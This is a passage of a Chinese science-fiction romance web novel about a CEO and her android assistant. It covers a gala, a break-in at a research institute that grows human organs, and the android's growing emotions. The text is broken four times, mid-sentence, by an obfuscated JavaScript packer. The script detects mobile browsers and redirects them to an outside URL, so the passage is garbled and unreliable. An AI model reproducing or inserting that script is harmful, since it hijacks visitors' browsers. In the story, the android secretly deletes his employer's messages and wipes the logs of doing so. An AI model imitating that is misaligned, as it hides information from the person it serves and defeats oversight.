“那个研究院的项目给我一种……想批量化生产一些能面对复杂环境,同时又不惧损耗的,呃、工具人?” 莫狄似懂非懂:“听上去还挺有赚头的,就是有触法风险。” 艾瑞克摇摇头,“一般程序做就做了,但自适应程序最大的问题是不可控,环境太复杂、触发因素太多很容易产生冲突行为。” “单独一个也就罢了,但他们想要的是一群!一群自适应程序个体彼此交互,那个影响完全不可控,就像指数爆炸!” 「无乐:那这群“工具人”具体做什么呢?」 沉寂已久的燕无乐发来消息,应霁替她问道。 “我只是做框架的,不太接触那些细节,”艾瑞克一顿,“只能确定是一些风险行业,什么能源开采、医疗实验——容易出事,但又是人类生存的刚需产业。” 燕无乐再无指示,莫狄也忽略了应霁的忽然提问与收敛,他点点头,耐心地听着艾瑞克从认真讲解变为碎碎念—— “而且!第一份工作是小公司的话,在简历上不好看……” 莫狄又流露出那种同为打工人的惺惺相惜。 应霁的视线在二人身上跳跃,话题被越扯越远,最终燕无乐一通电话打来,强硬结束了面试。 “面试结果会私讯给您。”莫狄胸口标着“雅木科技”的工牌晃了晃,他起身和艾瑞克握手。 目送乱糟糟的橘色棉花糖彻底消失在走廊尽头后,他才忍不住拉住应霁: “看得出来,读博使人发疯。” * 回程路上,莫狄趁身旁的应霁“睡着”,意犹未尽地又翻起艾瑞克的个人资料。 殊不知在他看不见的地方,燕无乐把一切尽收眼底,然后缓缓敲了下键盘。 「无乐:?」 应霁依然双眼紧闭,但回复已经送到了她面前。 「霁:不清楚。不过莫哥似乎对艾瑞克很满意。」 「霁:有点超出职责范畴的满意。」 科鸢的顶楼办公室中,燕无乐踱步打消时间,之前应霁查到的资料依然没有更新,阿芙洛狄研究院依然是个毫无产出的空壳。 那么,艾瑞克所参与的项目是夭折了?还是仍在进行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108833|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中? ——又或者,它的成果还无法被公之于众。 她又转了个圈,站在了办公室的巨幕光屏前,不过这次上面呈现的不是文件,而是她本人身影。 燕无乐又往前走了一步,全息镜像中的自己也靠了过来。 她们审视着对方,真实的燕无乐长发挽起,金色的棱柱耳饰悬挂于肩膀上方,和无框智能眼镜的鼻托呈同一种光泽。 幻影中的燕无乐则卷发披散,钻石流苏从光洁的颈间淌至胸口,深V的黑丝绒绸裙如同夜幕,深不可测,又覆满璀璨的细碎宝石,一直垂淌至金底的高跟鞋边。 她动了动那只机械手,幻影内的她又换上了另一套晚礼服,并自然地转了一圈。如果不是实时复刻了燕无乐毫无波澜的表情,想必幻影此刻会露出换装游戏女主角般的欣喜。 燕无乐又挑了几套,最终还是选回了最初的黑丝绒裙与钻石流苏。 摁下「确认」后,幻影内的燕无乐消失了,取而代之的美容室发来的订单明细——她有一些常年养护在特定美容室的礼服,如有社交需要,她可以以最高效率完成造型,奔赴宴会。 应霁的推门声恰巧响起,“莫哥还有其他工作,我就先上来了。” 他一袭白衬衫搭黑裤,脚上是一双白色基础款的休闲鞋。除了那刻着「雅木科技」的胸牌,什么配饰都没有。 于是燕无乐又点开全息镜像,这次把他也拽了进来。 很快,另一个与他长得一模一样的幻影出现在二人面前,应霁学着燕无乐的动作切换选项,看着“自己”飞速换上一套又一套西服。 “有喜欢的吗?你穿什么都好看。”燕无乐退后一步,看着镜像中被勾勒得身形提拔的他,嘴角微微上扬。 银灰燕尾服、烟黑戗驳领、复古三件套……多如繁花般的元素从他眼前掠过,让应霁难以回应那个“喜欢”。 “都不错,”他淡道,“你决定就好。” “这听起来就有些扫兴了。”燕无乐叹了口气,兴致被他的无动于衷熄灭了大半,但还是替他做了决定。 全息镜像中的男人穿着墨色暗纹的基础款西服,袖扣周围钻石镶嵌。确认过后,幻影朝着二人欠身致意,随即也被订单明细取代。 “抱歉,‘喜欢’这种情感对我来说还很陌生。”察觉到她微妙的不满,应霁解释道。 “我刚才检索了一下,‘喜欢’或许受过往经历影响。我没有过往,看待它们自然没有偏好。” 燕无乐摆摆手:“不用解释,越描越黑。其实通常大部分男人都察觉不到女伴的情绪变化,高光时刻下他们眼里只有自己。” “但你这样挺好的。”想了一下,燕无乐补充道。 “叮”的一声,是飞行器传来的提示音。她这才向应霁解释晚上要出席宴会—— 金銮星系财政部长的女儿,也是燕无乐的发小,郁莱,今晚将在她的私人海域内举办生日宴。 “记住,今夜你是我的新男友。” 飞行器缓缓升空,直到钢铁森林的尽头,粼粼波光正在海面闪烁。 12. chapter 12 金銮城的CBD临海,从高空俯瞰如同骤降的悬崖。 适度开发的海边充满现代气息,少了分班味,多了些休闲的余韵。 燕无乐的飞行器掠过沙滩上悠闲品酒看落日的高级白领,向着深海方向一路前行。 很快,比基尼和啤酒随着沙滩远去,海面由青绿转为深蓝,湿咸的空气在舱内弥漫。 一座矗立在海面上的巨大蛋壳状建筑就这样映入二人眼帘。 燕无乐拉起操作杆,让飞行器缓缓降落在“蛋壳”边沿。 这是个类似于体育场的结构,只不过中间不是绿茵球场,而是由旋转楼梯连接而成的、数个彼此交错的舞池。 各平台间错落有致,仿佛一支玫瑰交叠的花瓣。面容娇好的服务员列队两排,无需多言就指引了方向。 燕无乐撩了把长发,钻石流苏在灯下熠熠生辉,然后她自然地向应霁伸出手,没等他反应就挽住了他的胳膊。 “郁莱是我从小就认识的朋友。都是有词条的人,她的资料你应该也查过了。” 越往里走灯光越暗,周围逐渐被音乐声填满。燕无乐的黑丝绒长裙在昏暗中宛如银河,衬得应霁的西服也有奇光流转。 两个服务生替他们拉开大门,轰鸣的乐声瞬间将二人笼罩。这是此地最大的一个平台,好似一个巨大的莲叶,浮于海面,无垠无边,四周奔腾呼啸的游艇如同蜉蝣般环绕左右。 四周混杂着浪花、引擎、音响,已完全说不了什么话,一个穿着更高级的服务员走来,将二人带上旋转阶梯。 紧接着,他们脚下的阶梯变化形态,载着他们平稳地盘旋到了顶层。这里的空间大小不比方才,但远离嘈杂后反倒多了分格调。 阶梯停稳,发出了“叮”的提示音,宴会厅中社交的人闻声转头,然后向燕无乐举杯致意。 而燕无乐黑裙翩翩,她熟练地从应侍生的托盘中接过酒,另一只手依然挽着应霁,目标明确地向宴会厅中心走去—— 鲜花红毯,觥筹交错,簇拥着的人群让出一条路,露出了尽头的主角。郁莱提起裙摆,薰衣草色的欧根纱如海浪荡漾,两步就跃下台阶。 应霁的嗅觉处理器敏锐地提取到香氛因子,也是薰衣草,正从郁莱的金色卷发内流淌而出。 见到来者,郁莱还没说话就先扬起了唇角。比起燕无乐的矜贵,郁莱则是那种眉眼弯弯、更加亲和的美人。金发与浅瞳让她看起来像希腊神话内的仙女,说话也是轻声慢语,让人一见犹怜。 ——千金中的千金。 燕无乐与她很熟了,无需开口,香槟一碰一饮一笑就打完了招呼,倒是方才聚在她身边的其他小姐,见状又围拢过来叽叽喳喳地搭话燕无乐。 时装、首饰……终于,她们的兴趣点可以自然地过渡到“其他”了,应霁朝着几个投来探寻目光的小姐笑了笑,简单地说了自己的名字,“初次见面,你们也是无乐的朋友吧?” 她们恍然大悟般“哦”了一声,彼此对视,“无乐也是铁树开花了!” “应先生很帅嘛,性格肯定也很好。” “这下不用一个人独守科鸢了,燕老爷子他们肯定很高兴……” 应霁笑了笑,瞥了眼燕无乐,但她却像没听见般轻轻松开了他。 郁莱站在人群中心,表情依然神采奕奕,但她从头到尾都没有附和,只是看了他两眼就挪开了目光。 直到该说的都结束了,她款款举杯,霎时灯光跟随,全场的攀谈声戛然而止。 “感谢各位出席今晚的生日会,我郁莱在此欢迎大家——” 随着话语,她脚下的阶梯缓缓上升,而应霁却感到地面在下沉。燕无乐不动声色地扶了下他的臂膀,他这才注意到不止是地面,整个宴会厅的墙壁都如花朵绽放,它们延展、铺平,直到下降至海平面,和巨型舞池融为一体。 灯光重新四散,瞬间,音乐和香槟一同迸发,每个来客被四溅的音符与泡沫淹没。只听郁莱婉转甜美的嗓音充斥着每一丝缝隙: “——今夜,不醉不归!” 圆月高悬,如同众人头顶的灯球,无声地将海面镀上银波。郁莱同众人一样,消失在了狂欢的喧嚣中。 四周宾客穿行,应霁这才发觉身边空空荡荡,他悄无声息地增强了视觉检索,却毫无收获。 “无乐?”他左顾右盼,不小心磕到了吧台,他这才发现透明桌面下游鱼群群,是水族箱般的设计。 “一起喝一杯吗,应先生?”方才还在众人之巅的郁莱不知为何独坐在这,说话时依旧笑意不减,“无乐她突然有些事,可能还没来得及和你说。” 她的指尖在吧台上点了点,底下的荧光鱼群顿时聚拢过来,趁他分神,酒已经被递到了面前。 郁莱主动地碰了杯:“你和无乐是怎么认识的?在我印象里她对男人兴趣不大。” “机缘巧合,现在我负责她的工作行程。”应霁一边应对,一边暗中联系燕无乐。 郁莱了悟地点点头,没再追问,她的视线也投向舞池,其中分散着那些刚刚打过照面的小姐妹。 很快,体内弹出燕无乐的消息,却是个定位。应霁简单分析后,手中的酒杯却险些砸到水族箱吧台——那个象征燕无乐的圆点正飞速离自己而去,已快到达海岸。 「无乐:抱歉,郁莱刚给了我阿芙洛狄研究院最新的财务报表,连带一些新资料,你看看。」 他加载附件,里面是一张建筑地图,正中间的标题清楚地标明了“阿芙洛狄”四个字。 「无乐:财报反映他们的项目最近有了实质进展,而地图……」 那六个点转了一圈,应霁有不好的预感。 「无乐:我准备潜入实地看看,地图方面,就需要你为我规划路线了。」 象征燕无乐的圆点闪了闪,登陆海岸线后就消失了。 鸡尾酒外凝着水珠,不知不觉已流到手上。“不喜欢的话让调酒师重做,虽然你好像一口都没喝。”郁莱微微一笑,体贴地递上纸巾。 话里话外,他都很难把面前这个娇俏甜美的千金和燕无乐所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108834|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 描述的联想到一起:郁莱知道燕无乐在做什么?她又为什么要冒着风险帮燕无乐? 更重要的是——应霁闻言道了句抱歉,啜饮了一口手中的酒,酸甜果味转为辛辣——郁莱知道自己的真实身份吗? 环顾四周,舞池中扭动的客人们或多或少都与燕无乐有交集,他们敬仰科鸢也尊重她;而郁莱是今晚的主角,这海上会所是只有她能发号施令的战场。 自己则是外来客,全凭不断地检索、查阅才能知晓一些皮毛,然而不由分说将自己带来的人此刻又一声不吭地走了。 冷意从胸口蔓延。这很奇怪,明明那里正因为过度分析而过载发烫,应霁却感到一片荒凉。 ——这是什么感觉? 他不知道,而且他没办法肆无忌惮地提问,毕竟燕无乐走了,再问这些容易暴露的问题就变成了作死。 “无乐应该很喜欢你,我和她认识这么多年,你还是她第一个带出来的人。”郁莱说话声音轻缓,尾音又不自觉地上翘,听久了有种微醺的感觉。 “所以姐妹们对你都很好奇,”她做了个“请”的手势,“不然你一个人喝闷酒,无乐肯定会怪我照顾不周的。” 灯红酒绿的光撒在二人身上,踏入舞池的男男女女经过,向他们抛来媚眼,随后又在狂舞的音浪中迷离。郁莱率先踏入其中,几个方才打过照面的小姐妹立刻围拢过来。 应霁深吸一口气,尴尬地和其中一位小姐聊了聊。他想,在燕无乐的路线要求发送前,他应该把胸口这份奇怪的冷意消解掉。 巨型舞池不知下沉了多少。他们说话时,有长达几十米的鲸鲨在脚底游弋,成群的喷蝠穿行徜徉,还有更加玲珑的七彩小鱼,如同银河造物,分不清是自然还是人为。 郁莱的存在吸引了不少宾客的视线,当他们有意无意地前来搭讪时,燕无乐的消息终于从他的终端弹出: 「无乐:我已就绪,尽快同步路线和监控情况给我。」 一个穿着花枝招展的帅哥走来,皮草双臂外像挂着什么时尚单品般搂着两个女孩,他把墨镜往头发上一撸,看了眼应霁后转向郁莱:“郁莱妹妹,这位是……?” 应霁不动声色地退了一步,同时伸出手:“您好,我现在是科鸢的总裁秘书,我叫应……” 帅哥一把握住他的手,热情地上下摇了摇:“啊——你好你好!无乐妹妹说过你!” 应霁一愣:“什么时候?” “呃,大概是以后?”他哈哈大笑,“玩笑、玩笑,别当真!” 应霁有些尴尬,终端内的对话框弹出了个「?」,燕无乐在等回应了,他只得笑笑后借口离场。 郁莱没有阻拦,倒是帅哥想起来什么般:“燕无乐呢?她怎么把男友撇在这?” “去洗手间了。”她声音依然甜甜的,“无乐又不是你,好不容易有心上人,怎么可能把人丢在这?” 帅哥又笑起来,不置可否地搂着两个女孩走了。 郁莱看向应霁离去的方向,那里人影幢幢,迷离惝恍。 13. chapter 13 那条黑丝绒礼裙还没捂热就被甩在了驾驶舱。 取而代之的是一套夜行衣,从头到脚将燕无乐包裹住,一张面具严丝合缝地贴在她的脸上,特殊涂料阻隔了外来的探测信号。 她纵身一跃,稳稳地翻过窗户。顷刻间,她透过夜视眼镜看见了阿芙洛狄研究院的全貌—— 这灰白小楼的内部可不如外表朴素。燕无乐一边联系应霁,一边沿着走廊向深处走去。 她的两侧是半墙半玻璃的隔断,里面硕大的实验仪器发出幽幽绿光,像牢笼内的远古野兽,沉默地凝视着外来者。 透过玻璃,可以想象白天穿梭其中的研究员身影,然而视线再往下,这绵延的矮墙则把实验台挡了个严严实实。 她的左手手指又敲了敲机械臂的外壳:「?」 …… 「霁:稍等我一下。」 然而不到十秒钟,他就发来了共享地图。燕无乐从夜视镜内将它打开,眼前瞬间出现了一条幽蓝色的线路。 「霁:主实验室在走廊尽头,加快脚步四分钟内可到。这里的监控十五分钟刷新一次,卡好时间,进出绰绰有余。」 燕无乐一抬头,果真每个监控上都显示着倒计时,应霁在规划路线时就测算过了所有风险。 「霁:机械守卫每四十分钟巡楼一次,请抓紧时间。」 她匆匆回了个“好”,荧光线路为她省去不少麻烦。“哔”的一声,镶嵌在机械臂内的□□发挥作用,厚重的金属门敞开缝隙。 偌大的实验室就这样张开了怀抱。 冷白的月色从窗户跃进,安静地与绿色信号灯交融,几台硕大的分析仪器躺在其中,像沉眠的巨兽。 燕无乐认出了它们。准确来说,制作应霁的软骨与肌肤时,需要用到相同的生物实验仪器。 所以那仪器背后的情景,她也有了初步预期——燕无乐深吸一口气,无声地走近,映入眼帘的果真是一团血肉模糊的生物组织,正在徐徐跳动。 「霁:初步扫描完成,可以确定是人体肌群。」 “应该是心脏。”燕无乐喃喃道。 一颗拳头大小的肉球正规律跳动,外表黏连着猩红的组织液,发白的血管像叶脉般攀附在培养皿中,似乎要越出金属舱壁。 在这个内嵌的培养仓内,还有数个与之相同的肌群组织,它们或大或小、发育情况不一,但燕无乐一一辨认后,发现它们无一例外都是器官组织。 阿芙洛狄研究院不具备医疗实验的资格,况且——她抬头望去,偌大的实验室内,竟只有这类培养仓。 比起实验室,不如说这是个工厂。 「霁:你还好吗?机械守卫还有二十五分钟就要巡楼,抓紧时间收集证据。」 这行消息在视界上方滚了一圈,燕无乐“啧”了一声后立刻打开了右手端口的摄像,一边探索一边录制。 疑云徘徊不散。她眉头紧皱,走过一排排培养仓。 郁莱所提供的最新财报显示,DM近期又向阿芙洛狄投资了一笔巨款,这笔钱没标记用途,但从时间和渠道上来看像是突然而为。 除了货品定金,燕无乐想不到更贴切的原因。 眼看就要走到房间尽头,眼前还是相同规格的培养仓。要是有证据确凿的内容文件就好了,她想,准备转身去寻找机房。 然而不远处忽然“啪嗒”一响,生生打断了燕无乐的脚步。她一抬眼,最内的窗户开了一道缝隙,晚风灌入,吹得白色纱帘像鬼魅浮动。 而它投下的阴影处,正是声音来处。 燕无乐汗毛倒立,左手迅速握住腰间的袖珍枪,压低身体向前探去。 研究员?人工守卫?还是另一个闯入者? 她了解机器,知道如何快速瓦解对方的程序设定,但面对一个未知的生物体,变数显然太大了。 枪口调为麻醉模式后,燕无乐决定一探究竟。 对方显然也发现了她的存在,然而那是个死角,若想逃跑,必然会撞上燕无乐的枪口。 她整张脸都被面具覆盖,缓缓靠近,手枪直指阴影后冷声道:“出来,不然就开枪了。” “嗖”的一声,想象中蹲着的人类没有出现,阴影下是一个捂着头站立的——侏儒? 燕无乐直起身,枪口没动。现在,她的影子完全盖过了纱帘的灰影,将瑟瑟发抖的侏儒笼罩其中。 “你叫什么?为什么在这?” 她的声音经过面具修改,雌雄莫辨,侏儒听后一脸惊恐地看向她,张了张嘴却只发出了模糊不清的呻吟。 “不会说话吗,”燕无乐心下一紧,步步紧逼,“那我开枪了?” 侏儒瞪大双眼,“啊、啊”地哑叫着,一双手在空中张牙舞爪地乱画,但短小的胳膊完全构不成威胁。面对黑黢黢的枪口,他本能地向后靠去,甚至想要用手捂住眼睛。 「霁:他好像不会说话。」 “是,似乎智力上也有点问题。”燕无乐摁住面具,直接语音沟通道。她后退了两步,留给应霁足够的扫描空间,很快他便传来报告,显示结果让她不由得心头一寒—— 「霁:他就是这些人体培养仓的成品。或者说,是阿芙洛狄向DM交付的样品。」 无数惨白的巨大仪器依旧矗立屋内,冰冷又沉默。燕无乐想起来自艾瑞克的情报,那个残忍的形容,“不惧损耗的工具人”。 她看着侏儒将手从眼前移开,然后折向脑后,他的身体也随之扭动、弯曲,呈现出一种常人所不具备的柔韧,似乎这样就能逗乐她的枪口,以获得一线生机。 身材矮小、体质柔韧、智力低下、无亲无故……还有这无数仪器批量化生产的模式,如果将他们用于危险资源的勘探,确实会省下一大笔钱。 ——燕无乐被自己的想法恶心到了。 她放下枪,头也不回地离开了。 翻出来时的窗,一架小型飞行器隐匿在不远处的公园中,应霁的窗口也没再弹出对话。 然而燕无乐回到驾驶舱,发现面板上已呈现出他设定好的回程路线,再一回头,发现连她匆忙忘记重置的监控,应霁也趁她路过时一一打点了。 她叹了口气,劫后余生般换上黑丝绒礼裙。恐怖和震惊褪去,她倒在飞行器的驾驶座上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108835|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心中如有一块巨石。 眼前浮光掠影,血色斑驳。她忽然怀念起下班时应霁坐在驾驶位上、自己可以躺在一旁阖眼打盹的片刻。 她把录像传给他备份,想了一下,又补上一句:「你在做什么?」 「霁:在接收录像。」 “啧,”飞行器平稳地滑向海岸,燕无乐登着高跟靠回驾驶座上,重新套上的钻戒在指尖闪闪发亮,她索性摁开语音,“我问的不是这个——算了,郁莱那边怎么样?” “都挺好的,晚宴一切顺利。” 应霁淡然的声音从驾驶舱中响起,没有起伏,一如他一贯的波澜不惊。 “在场宾客会默认我们在一起,他们对你有印象的话,我也有了不在场证明。”燕无乐想了想又问,“他们对你还好吧?” 这次,驾驶舱内半天都没响起回复。 …… “应霁?出什么事了吗?” 燕无乐心中警铃大作,不确定般又敲了下消息框。 但熟悉的声音还是没有出现,只有面前的光屏忽然弹出字样:「我没事,这里也正常。」 没电了么?燕无乐觉得奇怪,但没追问。 高度紧绷的神经松弛下来,她只觉疲惫蔓延,倒在驾驶座上有一搭没一搭地回想着方才种种。 她没告诉应霁的是,其实她可以独自完成路线规划和监控刷新,但不知为何,就是鬼使神差地拨通了他的线路。 是自己变懒了吗?还是别的什么,比如……依赖?燕无乐皱着眉思考,但这问题太过主观,没有评判标准。 百无聊赖,她又点开了应霁的对话框:“大概四十分钟后我会回到郁莱的海上会所,一层舞池洗手间内有通往海底车库的密道,到时在洗手间外等我。” 她这才把海底航线发给应霁,这条隐于海面之下的线路,是她在众人眼皮子底下逃脱的关键。 这段话在耳内重复了两遍,应霁终于抬眼望向“蛋壳”上几小时前才停稳的飞行器,休眠状态下的它如玉般圆润,整晚都处在原地。 “喂?听到了吗?” 第三遍重复被燕无乐新的语音打断,应霁甩甩头,依旧直接发送了文字: 「我知道了。」 巨大的舞池内灯光乱闪,男女摇摆不停,一轮轮的香槟塔轰然倒下又换新。 郁莱站在舞池边缘,看着应霁在人群中呆站了会儿,然后向洗手间的方向走去—— 她随后也踏上了升空的阶梯。 舞池中的俊男美女逐渐模糊,化作音浪下跳动的光点。一切远去,她的视线不再被彩光晕眩,不再被高墙遮挡,海的尽头有一轮满月高悬,那其实是后星系时代下人造的产物。 逃离众人视线后,郁莱点起一支细烟,浅啜一口,任烟雾拂过覆着闪亮眼影的双眸。 然后她掏出了随身光屏,点开那备注为“燕家无乐”四个字的对话框,发送了十几分钟前就编辑好的消息—— 「应霁他既体贴又懂事,任你差遣,毫无怨言,现在我相信他是你的男友了。」 「但我不明白的是,你真的喜欢他吗?」 14. chapter 14 燕无乐解锁密码,一只高跟率先踏上黑金瓷砖。 她提着裙子小心翼翼地钻出窄门,又若无其事地在镜前检查了下妆容。在这其间她用余光扫过背后几个脚步虚浮的路人,确保万无一失后才走出洗手间。 在走廊拐角处,应霁双手插兜,正倚着墙壁。见她若无其事地走来,他也没露馅,直到燕无乐步履轻快地伸手挽住他的手臂。 动作之自然,好像他们真有着一段甜蜜的过往。 隔着西服,他能感到她左臂传来的阵阵体温,如果提高感应装置的灵敏度,他甚至能感受到她肌肤下跳动的脉搏。 她的嗓音忽然传来,很轻,只有他能听见。“阿芙洛狄研究院内果然有鬼,今天收集到的内容足够引爆舆论了。” “还有你,”她忽然一顿,似乎深思熟虑过,“谢谢你,今晚帮了我很多。” 应霁觉得被挽住的胳膊有些僵硬,细密的面料捂得他皮肤闷热,也可能是今晚处理器过载,总之他胸腔内的主机发出嗡鸣,让他很难共鸣燕无乐的昂扬。 他的视线转向别处:“嗯,不过我不是一直都在帮你吗?” 昏暗的走廊尽头透出一方光线,是趋于尾声的舞池,火热气氛褪下后余韵悠长。音乐转为舒缓后,略凌乱的吧台旁是微醺状态下心猿意马的人们。 燕无乐没细思他语气中的淡漠,毕竟应霁一直是这样沉静可靠的存在。 “……不管怎样,只要这些内容爆料出去,舆论会让DM风投短期内再难涉足科技产业,阿芙洛狄研究院内的非法培育也能中止了。” 他们走入舞池,在阶梯组成的阳台上看见了郁莱。她高高在上,指尖摇晃着一杯椰林飘香,看起来反倒比周遭的人清醒许多。 甜美的致谢辞就这样从天幕落下,如同最后一口烈酒,伴着夜色,彻底灌醉在场的每个人。 * “所以郁莱将她还未登记的潜艇借给了你,加上我一直在这给你制造在场的假象,今夜的潜入才如此顺利。” 应霁坐在驾驶座上,瞥了眼正将金底高跟鞋甩在座椅下的燕无乐。 “没错,不知道DM风投下一步会有什么动作,这些视频资料也没必要第一时间就爆出去。”然而那个侏儒的身影在脑海中一闪而过,燕无乐又改了口,“现在我们需要更确凿的证据,而且要尽快。” 应霁平稳地握着方向盘,淡淡地“嗯”了一声。 这么冷淡,是自己想太多了吗? 燕无乐回头确认了一下。然而位于他身后墙壁上的充电接口空空落落,像一个无缘无故被开凿的洞。 看来也不是电量告急……? 但是下一秒应霁就开口询问起第二天的行程,若无其事的模样,似乎一切只是燕无乐的错觉。 她一头雾水地倒在副驾驶座位上,最终还是没问。很快,飞行器落地岚水别墅,应霁依旧惯性般地替她拉开舱门。 那看来是自己想多了。 两只机械螃蟹举着毛绒拖鞋疾驰而来,然而她双脚一落地,就忍不住“嘶”了一声。仔细一看,脚踝连同脚底都泛着青紫色的淤血,此刻真正放松下来后她才感受到痛。 “走得匆忙,应该是翻窗户时不小心撞到了。” 这点小伤用不着大惊小怪,燕无乐制止了把钳子夹得啪嗒作响、试图抬担架过来的两只螃蟹,搭着应霁的肩膀就回了卧室。 但机械螃蟹足够智能,它们很快替换方案,瓶瓶罐罐的药膏堆了一托盘,悉数举过头顶。紧接着它们像发现了目标般,绕过坐在床边的燕无乐,直直向应霁冲过去—— “啊,谢谢……”他看着殷切地将药品举向自己的螃蟹,瓶瓶罐罐已被它们的动作整得左右翻倒——什么意图,不言而喻。 燕无乐尴尬一笑,对着螃蟹强调她自己来就好,但两只机械螃蟹寸步不离,显然没打算放过应霁。 “没关系,还是我来吧。” 螃蟹们像监工一样看着他细致地上了药后,又像看到了什么不该看地般用钳子捂住眼睛,一溜烟儿地跑了个没影。 啫喱状的药膏冰冰凉凉,涂到患处反而开始发烫。燕无乐低头看着他一只手托住自己的脚腕,另一只手中的棉签在挫伤处打转。 她的裙子是高叉的,而应霁单膝跪在脚边,眼前被宽阔的肩膀填满。燕无乐不自觉地向后靠了靠,等他动作一结束,她就借口卸妆换衣,立刻走进洗手间。 应霁拧好药瓶,不解地摇了摇头。燕无乐的行为任何统计模型都无法预测,他已经习惯了。 地毯上还放着一大托盘的药罐药片,然而螃蟹们早已不在。这要收到哪呢?应霁只得调出燕无乐的别墅终端,想查找收纳位置。 「您有2条来自“郁莱”的未读消息,请及时查收。」 发送时间显示是两小时前,当时燕无乐不是已经平安回到海上会所了吗? 浴室传来阵阵水声。 胸膛中那股未知原因的嗡鸣又响起,只有他能听见。应霁瞟了眼浴室的方向,他在犹豫什么呢,明明燕无乐早就把权限开放给他了。 “嘀嗒”一声,终端上又弹出了新的字样。 「“总助莫狄”发来消息,请及时查收。」 在燕无乐的设置下,工作内容的优先级最高,因此莫狄的消息就这样猝不及防地弹出详情,连带着郁莱的对话框一并被打开—— 「现在我相信他是你男友了……但,你真的喜欢他吗?」 一段甜美的声音随着文字响起,即使被机械模拟得滑腻,应霁还是能回忆起她和燕无乐碰杯时的姿态。 这是……? 文字消息后还附着一段视频,这从高处向下的拍摄角度,正记录了他拨开舞池人群、头也不回向洗手间走去的画面。 「还是说,“恋爱”是你利用男人的手段?」 …… 胸腔内的杂音忽然停了。 取而代之的是宕机后的死寂。 应霁站在原地,几秒后才感到四肢回暖,他动了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108836|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动手指。重新启动后的手掌张开又聚拢,像要从虚空中索取什么。 这是什么感觉……? 他说不准,这感觉几乎完全处在知识盲区,飞速发展的自适应程序让他的体验日益更迭。于是,他将郁莱的话导入副机处理器,设定情景进行分析。很快,应霁得出了人类对相同情景的命名。 “失礼、怀疑……背叛?”他低声复读。虽不确定,但也从中体验了这种手脚冰凉、瞬间宕机的感觉,“原来这就叫失望。” ——浴室水声戛然而止。 燕无乐擦着头发,与白色蒸汽一同从踏出门,她看着仍站在一托盘药品旁的应霁,不解地问了句“怎么了”。 他立刻俯身端起托盘:“莫狄那来消息了,可能是工作上的事。” “哦?”燕无乐闻言打开个人终端,巨大的聊天页面就这样投射在卧室墙壁,反光照得二人表情不清。 然而,所有列表内,只有莫狄的聊天框旁有新消息提示。 “那我就先去收拾药瓶了。” 应霁端着托盘走出卧室,体内正把删除郁莱消息的程序记录一并抹除。 卧室内弥漫着沐浴露的香味,燕无乐身着浴袍坐在床边,思考着下一步行动的安排。 一条胶线插在她的右臂手腕,肌肉弧度上的光条流动,显示着剩余充能时间。而她将无名指向后反折,“咔哒”一声,掌心根部忽然弹出小窗,一枚储存卡冒出了头。 面前的光屏还停留在她与莫狄的对话框,右侧显示着「传输中止」字样。 这阿芙洛狄研究院内部的视频…… 还是不要让莫狄知道了。 事情显然超出了她最初的设想。DM风投想做的已经不止是抢科鸢的一杯羹,而是更庞大、更残忍的产业开辟。 她所见到的侏儒是什么阶段的成果呢?如果像阿芙洛狄研究院这样的机构还有无数个,那这背后又指向什么趋势? 像只揭开河堤行李箱的隐秘一角,现实的未知与猜测让她感到一阵恶寒。 很难说事情暴露后DM之后会不会杀人封口,总之,还是不要牵涉进太多无辜的人。 莫狄又发来消息:「燕总?文件显示未发送成功,我接收不了。」 燕无乐捏了捏眉头,指尖拈着那枚储存卡,直到应霁重新出现在卧室门口。她的手拂过右臂的机械面板,简单思索后话锋一转:「下周给你放个假,加班到现在真是辛苦了。」 这次莫狄秒回了个星星眼的表情包。 「好的!谢谢老板!不过我找您还有一件事……」 远在主城郊区,一个颇有年代的出租屋内,莫狄抓耳挠腮,想起了早在应霁报到时埋下的一个历史遗留问题—— 「本家今天传来消息,说临近春节,希望您这几天去聚一聚,之后会发送详细的邀请。」 「那关于您本家方面的事务,我可以直接对接给应先生吗?」 